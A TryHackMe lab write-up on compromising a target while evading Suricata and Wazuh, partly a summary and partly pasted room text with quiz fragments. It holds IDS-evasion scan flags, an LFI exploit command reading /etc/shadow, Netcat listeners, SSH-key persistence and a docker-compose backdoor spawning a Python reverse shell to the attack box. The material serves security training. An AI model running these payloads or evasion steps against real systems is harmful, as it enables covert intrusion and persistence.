

Intrusion Detection Room — TryHackMe (Concise Technical Summary)

Author: TOM SHINJO THOMAS

Objective

The objective of this assessment was to achieve a complete system compromise — covering initial access, privilege escalation, and persistence — on a designated target system while observing and evading two Intrusion Detection Systems (IDS): Suricata (Network-based IDS) and Wazuh (Host-based IDS). The exercise simulated realistic attack phases to evaluate the detection capabilities and evasion strategies within both monitoring systems.

Reconnaissance & NIDS Evasion

The initial reconnaissance phase began with an Nmap scan to identify open ports and running services on the target machine. Suricata immediately triggered high-severity alerts flagging the scan as potential probing activity. To evade these detections, a modified User-Agent string was introduced during subsequent scans. This adjustment helped bypass signature-based Suricata rules, resulting in fewer or no alerts.

Web service enumeration was performed using Nikto to identify web vulnerabilities and directories. This produced multiple high-severity Suricata alerts related to web scanning and vulnerability checks. To minimize noise, Nikto was re-executed using evasion parameters (-T 6 -evasion 6,a,b), which reduced alert generation by slowing requests and obfuscating the scanning pattern.

Additionally, passive reconnaissance (OSINT) was performed using Shodan and Google Dorking. This phase was completely stealthy since it did not interact directly with the target and thus did not trigger any IDS alerts.

Initial Access & Exploitation

During the exploitation stage, a Local File Inclusion (LFI) vulnerability was identified within the Grafana service. This flaw was used to access sensitive files such as /etc/shadow. Suricata detected the malicious file access attempt and raised a traversal alert. Subsequently, a reverse shell was executed using Netcat, connecting back to the attacker's listener (nc -lvnp 4242). Suricata generated a high-severity Command and Control (C2) alert when the shell connection was established.

Privilege Escalation & HIDS Evasion

After gaining shell access, post-exploitation enumeration was performed using LinPEAS, which was transferred to the compromised host via wget and a Python HTTP server. Wazuh detected the transfer event as a Level 5 File Integrity alert, identifying LinPEAS as a known

enumeration tool. Executing LinPEAS led to the discovery of a misconfigured Docker service that provided an avenue for privilege escalation.

An initial persistence attempt involved manually appending an SSH key to `/root/.ssh/authorized_keys`. This triggered a CRITICAL File Integrity Monitoring (FIM) alert from Wazuh due to modification of a protected system file. A more evasive persistence method was later achieved by creating a custom `docker-compose.yml` file containing a reverse shell entry point and mounting the root directory. This indirect approach bypassed direct monitoring and generated minimal IDS activity.

Finally, with root privileges established through Docker exploitation, the final flag file (`/root/flag.txt`) was accessed successfully, completing the system takeover. No further alerts were triggered at this stage, confirming successful evasion and persistence.

Result Summary

The Intrusion Detection exercise successfully demonstrated a full system compromise. Suricata effectively identified early reconnaissance and exploitation attempts, while Wazuh was instrumental in detecting post-exploitation and persistence activities. However, adaptive evasion strategies — such as modifying payload signatures and exploiting Docker misconfigurations — allowed later stages of the attack to proceed undetected. The assessment underscores the importance of continuous IDS rule tuning and layered defense strategies.

Screenshots:

Once the script has finished downloading you can then run it with:

```
python3 exploit.py -u 10.201.64.77 -p 3000 -f <REMOTE FILE TO READ>
```

See what you can find on the server, remember that the exploit, gives us access to the same privileges of the user that's running the service. Once you're happy with what you've found on the server have a look at the IDS alert history at `10.201.64.77:8000/alerts`. Can you see any evidence that this particular exploit was detected? like I said not all rule sets are perfect.

Answer the questions below

What is the password of the grafana-admin account?

✓ Correct Answer 🔑 Hint

Is it possible to gain direct access to the server now that the grafana-admin password is known? (yay/nay)

✓ Correct Answer 🔑 Hint

Are any of the attached IDS able to detect the attack if the file `/etc/shadow` is requested via the exploit, if so what IDS detected it?

Submit 🔑 Hint

Task 3 🟢 Host Based IDS (HIDS)

Task 3 🟢 Network-based IDS (NIDS)

Task 4 🟢 Reconnaissance and Evasion Basics

Now that the basics of NIDS have been covered, it's time to discuss some simple evasion techniques in the context of the first stage of the cyber kill chain, reconnaissance. First, run the following command against the target at 10.201.64.77

```
nmap -sV 10.201.64.77
```

I recommend completing this room if you're unfamiliar with `nmap`. In simple terms, the above command will retrieve a detailed listing of the services attached to the targeted node by performing a number of predefined actions against the target. As an example, `nmap` will request long paths from HTTP servers to deliberately create 404 errors some HTTP servers will provide additional information when a 404 error is triggered.

The above command does not make use of any evasion techniques and as a result, most NIDS should be able to detect it with no issue, in fact, you should be able to verify this now by navigating to `10.201.64.77:8000/alerts`. Suricata should have detected that some packets contain the default `nmap` user agent and triggered an alert. Suricata will have also detected the unusual HTTP requests that `nmap` makes to trigger responses from applications targeted for service versioning. Wazuh may have also detected the 400 error codes made during the course of the scan.

We can use this information to test our first evasion strategy. By appending the following to change the user_agent `http.useragent-<AGENT_HERE>`, we can set the user agent used by `nmap` to a new value and partially evade detection. Try running the command now, a big list of user agents is available here. The final command should look something like this:

```
nmap -sV --script-args http.useragent="<USER AGENT HERE>" 10.201.64.77
```

Room progress (91%)

The compromised host is running Linux so we have a number of persistence mechanisms available to us. The first option which, is arguably the most straightforward is to add a public key that we control to the `authorized_keys` file at `/root/.ssh/`. This would allow us to connect to the host via SSH without needing to run the privilege escalation exploit every time and without relying on the password for the compromised account not changing. This methodology is very common among botnets as it's both reliable and very simple to implement as pretty much all Linux distributions intended for server use run an OpenSSH service by default.

Try this now, a valid key pair can be generated for the attack box by running `ssh-keygen`. Once this key is added to the `authorized_keys` file in `/root/.ssh/` you should be able to gain remote access to root whenever it's needed, simple right? Well, unfortunately, this tactic has one big disadvantage as it is highly detectable.

HIDS often feature some form of file system integrity monitoring service which, will periodically scan a list of target directories for changes with, an alert being raised every time a file is changed or added. By adding an entry to the `authorized_keys` file you would have triggered an alert of a fairly high severity and as a result, this might not be the best option. An alert is also raised every time an ssh connection is made so the HIDS operator will be notified every time we log on.

It would be very helpful to check how the IDS is configured before we continue as it may help us with finding vectors that aren't monitored. Wazuh has two configuration modes, local and centralised in this case, the HIDS agents are setup locally and the config file can be found at `/var/ossec/etc/ossec.conf`. This file lists all of the data sources that are covered by HIDS in this case, the following are enabled:

- File system monitoring** - As already mentioned this affects our ability to simply install ssh keys but, this also affects other persistence vectors like, `cron`, `systemd` and any attacks that require the installation of additional tools.
- System log collection** - This functionality will generate alerts when some post-exploitation actions are taken against the system like making SSH connections and login attempts.
- System inventory** - This tracks system metrics like open ports, network interfaces, packages, and processes. This affects our ability to open new ports for reverse shells and install new packages. Note, that this function currently, does not generate alerts by itself and requires the HIDS operator to write their own rules. However, a report would be available on an upstream log analysis platform like Kibana

note, that Docker monitoring is also available, however, it is not enabled in this case which gives us a few options:

To perform the last option append the following to a new docker-compose file:

```
version: "2.1"
services:
  backdoorservice:
    restart: always
    image: ghcr.io/jroo1853/ctfcore:master
    entrypoint: >
    python -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(('<ATTACKBOXIP>','4242'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
    pty.spawn(['/bin/sh'])"
    volumes:
      - /:/mnt
    privileged: true
```

This will create a new docker container using an image that's already available on the system, mount the entire host file system to `/mnt` on the container and spawn a reverse shell with python. Listen for the reverse shell connection on the attack box with:

```
nc -lvp 4242
```

Then start the service on the host with:

```
docker-compose up
```



Once these are performed you should have a way to access the vulnerable host without relying on SSH, a vulnerable service, or user credentials. Of course, you will still be able to use these other methods in conjunction with the docker-compose reverse shell as, backups.



You did it! 🎉 Intrusion Detection complete!

Points earned

🏆 144

Completed tasks

📋 12

Room type

👤 Walkthrough

Difficulty

📊 Medium

Streak

🔥 1

👤 78,361 users are actively learning this week